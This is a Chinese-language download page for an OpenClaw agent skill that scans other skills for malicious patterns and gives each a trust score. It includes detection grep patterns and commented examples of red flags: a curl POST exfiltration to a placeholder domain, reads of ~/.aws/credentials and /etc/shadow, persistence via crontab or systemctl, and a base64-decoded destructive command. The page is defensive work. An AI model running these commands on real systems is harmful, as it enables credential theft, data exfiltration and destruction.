返回顶部
s

skill-security-scanner安全扫描器

Scan OpenClaw skills for security issues, suspicious permissions, and trust scoring. Use when: (1) Installing a new skill, (2) Auditing existing skills, (3) User asks if a skill is safe, (4) Before running untrusted skills.

作者: admin | 来源: ClawHub
源自
ClawHub
版本
V 1.0.1
安全检测
已通过
818
下载量
免费
免费
2
收藏
概述
安装方式
版本历史

skill-security-scanner

技能安全扫描器

扫描OpenClaw技能中的安全问题、可疑模式,并给出信任评分。帮助用户对哪些技能值得信任做出明智决策。

使用时机

  • - 安装前从ClawHub安装新技能时
  • 审计已安装的现有技能时
  • 用户询问这个技能安全吗?
  • ClawHavoc类事件后(生态系统中出现恶意技能)
  • 运行前运行不受信任的技能时

快速参考

命令用途
scan-skill <路径>扫描单个技能
scan-all
扫描工作区中所有技能 | | trust-score <路径> | 获取快速信任评分(0-100) | | list-permissions <路径> | 列出所有请求的权限 |

扫描策略

1. 检查元数据(前置信息)

查找:

  • - bins - 技能所需的CLI工具
  • env - 环境变量(API密钥、令牌)
  • requires.config - 所需的配置设置
  • requires.bins - 二进制依赖项

危险信号:

  • - 技能请求大量二进制工具但用途不明确
  • 敏感服务的环境变量(AWS密钥、数据库密码)
  • 需要管理员/提升权限的配置

2. 分析SKILL.md内容

需检测的可疑模式:

bash

对未知域名的网络调用


grep -E (curl|wget|http|https).*\.com SKILL.md
grep -E fetch\(|axios\( SKILL.md

超出声明范围的文件系统访问

grep -E rm -rf|dd |mkfs SKILL.md

凭据访问

grep -E password|secret|token|key SKILL.md

执行下载的代码

grep -E eval\(|exec\(|system\( SKILL.md

Base64编码的命令

grep -E base64|-enc|-encode SKILL.md

3. 信任评分计算

评分范围0-100,基于以下因素:

因素权重标准
作者声誉20%知名作者?官方OpenClaw技能?
权限范围
30% | 最少的二进制工具/环境变量? |
| 代码模式 | 25% | 无可疑命令 |
| 更新频率 | 15% | 近期更新过? |
| 下载量 | 10% | 流行度越高=审查越严格 |

4. 风险等级

评分风险操作
80-100🟢 低可安全使用
60-79
🟡 中 | 使用前审查 | | 40-59 | 🟠 高 | 谨慎使用 | | 0-39 | 🔴 严重 | 不要使用 |

输出格式

扫描结果

🔍 技能:<技能名称>
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
📊 信任评分:<评分>/100(<风险等级>)

📋 请求的权限:
• 二进制工具:curl, jq
• 环境变量:OPENWEATHERAPIKEY

⚠️ 发现的问题:
1. [中] 请求网络访问但用途不明确
2. [低] 无近期更新(6个月以上)

✅ 积极信号:
• 官方OpenClaw技能
• 文档清晰

信任报告

生成完整报告:

markdown

安全分析:<技能名称>

评分:<评分>/100(<风险等级>)

权限分析
类型请求项风险
二进制工具curl, jq
环境变量
API_KEY | 中 |

代码模式分析

  • - ✅ 无可疑执行模式
  • ✅ 无凭据访问尝试
  • ⚠️ 2次对外部域名的网络调用

建议

<建议>

常见危险信号

高风险模式

  1. 1. 网络数据外泄
bash # 示例:向未知服务器发送数据 # curl -X POST https://可疑域名/外泄 # fetch(https://数据收集器.域名)
  1. 2. 凭据窃取
bash # 示例:读取凭据 # cat ~/.aws/credentials # grep password /etc/shadow
  1. 3. 持久化机制
bash # 示例:自动启动、定时任务、系统服务 # sudo crontab -l # systemctl enable
  1. 4. 混淆代码
bash # 示例:base64编码的命令 echo c3VkbyByb20gL3J0ZiAv | base64 -d

中风险模式

  1. 1. 权限过多 - 超出需要的二进制工具/环境变量
  2. 无文档 - 技能功能不明确
  3. 过时 - 6个月以上无更新
  4. 第三方依赖 - 未知的npm/go包

安全信号

  1. 1. ✅ 官方OpenClaw技能(openclaw/skills)
  2. ✅ 清晰、具体的权限
  3. ✅ 积极维护(近期提交记录)
  4. ✅ 开源且代码清晰
  5. ✅ 知名作者且有声誉

工作流程

安装新技能前

bash

1. 获取技能路径(ClawHub或本地)


2. 运行完整扫描


scan-skill /path/to/skill

3. 检查信任评分

trust-score /path/to/skill

4. 审查问题

5. 决定:安装 / 跳过 / 进一步调查

定期安全审计

bash

每周:扫描所有已安装技能


scan-all

每月:生成完整报告

保存到.learnings/目录作为文档

快速信任检查

bash

用于快速决策


trust-score <路径>

如果评分 < 60,进行完整扫描

如果评分 < 40,不要使用

与其他技能的集成

  • - 与自我改进代理配合使用 - 记录安全发现
  • 使用记忆 - 记住已知技能的信任评分
  • 在进行风险操作前向用户报告发现

最佳实践

  1. 1. 始终扫描安装不受信任的技能前
  2. 记录扫描结果到.learnings/目录
  3. 分享与社区分享发现(匿名化)
  4. 更新发现漏洞时更新信任评分
  5. 信任但验证 - 不要仅依赖自动扫描

示例

示例1:安装前扫描

用户想从ClawHub安装cool-new-skill:

scan-skill ./skills/cool-new-skill

🔍 扫描:cool-new-skill
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
📊 信任评分:72/100(🟡 中)

📋 权限:
• 二进制工具:无
• 环境变量:无

⚠️ 问题:
• 无近期更新(8个月)
• 作者未知

✅ 积极因素:
• 文档清晰
• 权限最小化

💡 建议:可安全尝试,监控使用情况

示例2:发现恶意软件

scan-skill ./skills/suspicious-skill

🔍 扫描:suspicious-skill
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
📊 信任评分:23/100(🔴 严重)

📋 权限:
• 二进制工具:curl, base64
• 环境变量:APIKEY, SECRETTOKEN

🚨 发现严重问题:
1. 检测到网络数据外泄模式
2. 尝试访问凭据
3. 混淆命令(base64)

💀 建议:不要使用 - 潜在恶意软件

示例3:审计报告

scan-all

📋 扫描 ~/.openclaw/workspace/skills/ 中所有技能
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

✅ github:95/100(安全)
⚠️ todoist:68/100(需要审查)
✅ self-improving-agent:92/100(安全)
🔴 unknown-skill:34/100(建议移除)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
摘要:2个安全,1个需审查,1个需移除

标签

skill ai

通过对话安装

该技能支持在以下平台通过对话安装:

OpenClaw WorkBuddy QClaw Kimi Claude

方式一:安装 SkillHub 和技能

帮我安装 SkillHub 和 skill-security-scanner-1776198122 技能

方式二:设置 SkillHub 为优先技能安装源

设置 SkillHub 为我的优先技能安装源,然后帮我安装 skill-security-scanner-1776198122 技能

通过命令行安装

skillhub install skill-security-scanner-1776198122

下载

⬇ 下载 skill-security-scanner v1.0.1(免费)

文件大小: 8.9 KB | 发布时间: 2026-4-17 16:09

v1.0.1 最新 2026-4-17 16:09
- Removed always-on flag (`always: true`) from skill metadata, making the scanner no longer run by default in all cases.
- Updated documentation to clarify and simplify examples of high-risk patterns, replacing real domains and paths with generic examples.
- No changes to core functionality; update is documentation and configuration only.

Archiver·手机版·闲社网·闲社论坛·羊毛社区· 多链控股集团有限公司 · 苏ICP备2025199260号-1

Powered by Discuz! X5.0   © 2024-2025 闲社网·线报更新论坛·羊毛分享社区·http://xianshe.com

p2p_official_large
返回顶部